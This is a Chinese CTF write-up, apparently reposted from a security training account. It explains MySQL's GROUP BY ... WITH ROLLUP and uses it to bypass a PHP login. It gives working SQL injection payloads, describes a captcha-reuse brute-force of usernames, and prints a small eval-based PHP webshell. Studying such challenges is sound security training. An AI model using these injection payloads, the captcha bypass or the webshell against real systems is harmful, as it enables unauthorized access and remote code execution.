前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >group by..with rollup学习实例

group by..with rollup学习实例

作者头像
安恒网络空间安全讲武堂
发布2018-09-21 14:59:01
3.1K0
发布2018-09-21 14:59:01
举报

初探:

首先打开题目,发现 index.php 是登录界面,寻找 register.php,表单内容如下

代码语言:javascript
复制
<form action="register.php" method="GET">
    用户名:iscc_<input type="text"  name="uname" placeholder="请输入四位数字" />
    <br/><br/>
    密码:<input type="password" name="pwd"/>
    <br/><br/>
    <input type="submit" value="注册">
</form>

可以知道用户名的格式。提交后显示:注册功能已经关闭。

简单测试了一下登录界面发现存在注入,但是过滤了很多关键词,不能直接绕过。于是继续寻找其他信息,在 index.php 的响应头中发现hint

代码语言:javascript
复制
Content-Encoding: gzip
Content-Length: 346
Content-Type: text/html;charset=utf-8
Date: Sun, 29 Jul 2018 02:26:20 GMT
hint: hint.txt
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding

hint.txt给出了部分题目源码:

代码语言:javascript
复制
$sql="SELECT pwd FROM user WHERE uname = '{$_POST['uname']}'";
$query = mysqli_query($con,$sql); 
if (mysqli_num_rows($query) == 1) { 
    $key = mysqli_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        echo "xxxxxxxxx";
    }else{
        echo "你这密码不太对啊";
    }
}else if(mysqli_num_rows($query) == 0){
    echo "你这密码不太对啊";
}
else{
    echo "数据太多了";
}

可以看出这里的逻辑就是,我们必须要使得提交的密码与查询出来的结果相同,但是这里的比较用的是==,也就是只需要满足弱类型比较下相等即可。

那么按照常规的思路,就是盲注注出密码,但是因为大多数关键词都被过滤了,所以盲注的思路在这里不可行。

这时要用到 mysql 中的 group bywith rollup 子句。

利用 group by … with rollup 巧妙绕过:

什么是 group by … with rollup?

group by ... with rollup 本身当然不是为了方便我们注入而设计的,这个语句在 sql 的数据统计方面有着很强大的功能,在这里简单介绍一下。

我这里用自己手里的 2004-2017 年全国 259 所高校在某地区招生数据做一下演示。

我们知道 group by 语句可以实现对查询的结果分类,比如如果我们想要统计各类高校各有多少所,可以这样:

代码语言:javascript
复制
mysql> select TYPE,count(NAME) from university where YEAR=2017 group by TYPE;
+--------------------------------------------------------------+-------------+
| TYPE                                                         | count(NAME) |
+--------------------------------------------------------------+-------------+
|                                                              |         135 |
| 211高校/一流大学建设高校                                       |           3 |
| 211高校/一流学科建设高校                                       |          30 |
| 211高校/一流学科建设高校/教育部直属                             |          36 |
| 211高校/双一流建设学科/教育部直属                               |           3 |
| 211高校/教育部直属                                             |           1 |
| 985高校/211高校                                               |           2 |
| 985高校/211高校/一流大学建设高校                                |           7 |
| 985高校/211高校/一流大学建设高校/教育部直属                      |          31 |
| 985高校/211高校/教育部直属                                     |           1 |
| 一流学科建设高校                                               |           9 |
| 教育部直属                                                     |           1 |
+--------------------------------------------------------------+-------------+

如果我们还想在最后一行输出一下一共有多少所高校,就可以使用 with rollup子句,他将在最后添加一行数据,用来显示上面的数据的 "汇总" ,注意这个汇总并不是 求和,后面会解释。

代码语言:javascript
复制
mysql> select TYPE,count(NAME) from university WHERE YEAR=2017 group by TYPE WITH ROLLUP;
+--------------------------------------------------------------+-------------+
| TYPE                                                         | count(NAME) |
+--------------------------------------------------------------+-------------+
|                                                              |         135 |
| 211高校/一流大学建设高校                                       |           3 |
| 211高校/一流学科建设高校                                       |          30 |
| 211高校/一流学科建设高校/教育部直属                             |          36 |
| 211高校/双一流建设学科/教育部直属                               |           3 |
| 211高校/教育部直属                                             |           1 |
| 985高校/211高校                                               |           2 |
| 985高校/211高校/一流大学建设高校                                |           7 |
| 985高校/211高校/一流大学建设高校/教育部直属                      |          31 |
| 985高校/211高校/教育部直属                                     |           1 |
| 一流学科建设高校                                               |           9 |
| 教育部直属                                                    |           1 |
| NULL                                                         |         259 |
+--------------------------------------------------------------+-------------+

大家可能发现了,在最后一行的数据中,除了数据的汇总,还有一个 NULL,这个NULL是用来表示非统计字段的。

那下面来解释一下,为什么说汇总不是 求和 ,假如我现在想查询各个类型的高校 2017 年在该地区的平均录取分数,并在最后输出所有高校的平均分:

代码语言:javascript
复制
mysql> select TYPE,avg(AVERAGESCORE) from university WHERE YEAR=2017 group by TYPE;
+--------------------------------------------------------------+--------------------+
| TYPE                                                         | avg(AVERAGESCORE ) |
+--------------------------------------------------------------+--------------------+
|                                                              | 506.14814814814815 |
| 211高校/一流大学建设高校                                       |                526 |
| 211高校/一流学科建设高校                                       |  560.8333333333334 |
| 211高校/一流学科建设高校/教育部直属                             |  568.9722222222222 |
| 211高校/双一流建设学科/教育部直属                               |  563.3333333333334 |
| 211高校/教育部直属                                             |                594 |
| 985高校/211高校                                               |              287.5 |
| 985高校/211高校/一流大学建设高校                                |                638 |
| 985高校/211高校/一流大学建设高校/教育部直属                      |  551.3870967741935 |
| 985高校/211高校/教育部直属                                      |                  0 |
| 一流学科建设高校                                                |  437.6666666666667 |
| 教育部直属                                                     |                605 |
| NULL                                                          |  525.7837837837837 |
+--------------------------------------------------------------+--------------------+

可以看到,最后一行的结果并不是上面查询的结果的和,而是上面数据的平均值。

这样我们就可以看出,with rollup 子句,对数据进一步处理的方式,是由查询数据时,对数据处理使用的函数决定的。

当然,我所演示的,都是一维情况下(只根据一个字段进行分组),使用 with rollup的处理结果,在多维情况下,输出的结果会有一些不同,不过在了解了一维的基础上,也很好理解。这里就不多说了,有兴趣的同学可以看我文章最后附上的参考链接。

如何利用?

接下来回到题目上,我们该如何利用这个语句来绕过登录呢?我们再来看一下题目的源码:

代码语言:javascript
复制
$sql="SELECT pwd FROM user WHERE uname = '{$_POST['uname']}'";
$query = mysqli_query($con,$sql); 
if (mysqli_num_rows($query) == 1) { 
    $key = mysqli_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        echo "xxxxxxxxx";
    }else{
        echo "你这密码不太对啊";
    }

既然我们无法猜出密码到底是什么,那么我们可不可以控制查询的结果是我们自己已知的呢?结合上面对group by ... with rollup语句的介绍,我们可以想到,我们可以控制查询的结果为NULL,再结合 PHP 的弱类型 null=='',就可以成功绕过了。

那么我们接下来只需要构造 payload,使得查询结果为 NULL, 但是要想使用group by ... with rollup构造出NULL的一个前提条件,就是查询出的结果不为空,那么我们就需要使 uname = '{$_POST['uname']}'这个条件成立,满足这个条件了,再结合limitoffset 很容易就可以返回的结果为NULL

那么如何满足这个前提条件呢?

预期解——利用验证码逻辑漏洞爆破用户名:

结合我们已经掌握的信息,在注册页面我们已经知道账户的格式是 ISCC_+四位数字,这里其实很明显是要我们去爆破,找到这个用户名,而登录的位置存在验证码,正常来讲是不能够爆破的,但是使用 Burpsuite 简单测试一下可以发现,网站并不是在用户提交表单后、判断验证码正确性之后就直接在后端生成新的验证码返回给前端,而是在前端进行请求,进行验证码的更新。也就是说,只要我们拦截/不发送这个请求,验证码就不会更新!

那么我们就可以进行爆破了,构造好 payload:

uname=iscc_0001' group by pwd with rollup limit 1 offset 1#&pwd=&yzm=1448

然后使用 Burpsuite 爆破即可。

uname=iscc_7980' group by pwd with rollup limit 1 offset 1#&pwd=&yzm=1448 这个payload的回显中发现注入成功。

非预期解——利用 SQL 弱类型构造非预期payload:

其实我们可以更轻松地满足 uname = '{$_POST['uname']}',就是利用 SQL 的弱类型,具体情况与 php 类似,我简单举几个例子,相信大家就能明白了。

代码语言:javascript
复制
mysql> select 'aaaa' = 0;
+------------+
| 'aaaa' = 0 |
+------------+
|          1 |
+------------+
1 row in set, 1 warning (0.00 sec)

mysql> select 'aaaa11' = 0;
+--------------+
| 'aaaa11' = 0 |
+--------------+
|            1 |
+--------------+
1 row in set, 1 warning (0.00 sec)

mysql> select '20aaaa' = 20;
+---------------+
| '20aaaa' = 20 |
+---------------+
|             1 |
+---------------+
1 row in set, 1 warning (0.00 sec)

于是我们可以构造'1'^1=1^1=0=字母开头的字符串,使条件被满足。

于是最后的payload:

uname=1'^1 group by pwd with rollup limit 1 offset 1#&pwd=

拼接后的 sql 语句就是:

代码语言:javascript
复制
SELECT pwd FROM user WHERE uname = '1'^1 group by pwd with rollup limit 1 offset 1#'

成功注入。

getflag:

成功注入后,会输出一个字符串

+ADg-d+ADIAMA-d+ADUANw-e+ADI-f+ADIAYgA5AGI-e+ADUALw-f+AGIAMwAw-e+ADcAMA-f+ADcAOAAxADMANAA4ADk-dd+AGE-e+ADcAOQBi-e+ADAANwA5ADIANQBhADMANABhAC4AcABoAHA-

是 utf-7 格式编码的 webshell 地址,

写了个简单的 javascript 解码函数:

代码语言:javascript
复制
function decodeUTF7(data){
    var list = data.split('+');
    var result= '';
    for(var i=0;i<list.length;i++){
        if(list[i].length>0){
            tmp=list[i].split('-');
            result+=atob(tmp[0])+tmp[1];
        }
    }
    return result.replace(/[\u0000-\u0010]/g,'');
}

解码后的结果 8d20d57e2f2b9be5/fb30e70f7813489ddae79be07925a34a.php

访问看到webshell:

代码语言:javascript
复制
<?php
show_source(__FILE__);
$a = @$_REQUEST['a'];
@eval("var_dump($$a);");
?>

相信这个怎么用,就不用我多说了吧!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-08-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 初探:
  • 利用 group by … with rollup 巧妙绕过:
    • 什么是 group by … with rollup?
      • 如何利用?
      • 预期解——利用验证码逻辑漏洞爆破用户名:
      • 非预期解——利用 SQL 弱类型构造非预期payload:
      • getflag:
      相关产品与服务
      验证码
      腾讯云新一代行为验证码(Captcha),基于十道安全栅栏, 为网页、App、小程序开发者打造立体、全面的人机验证。最大程度保护注册登录、活动秒杀、点赞发帖、数据保护等各大场景下业务安全的同时,提供更精细化的用户体验。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档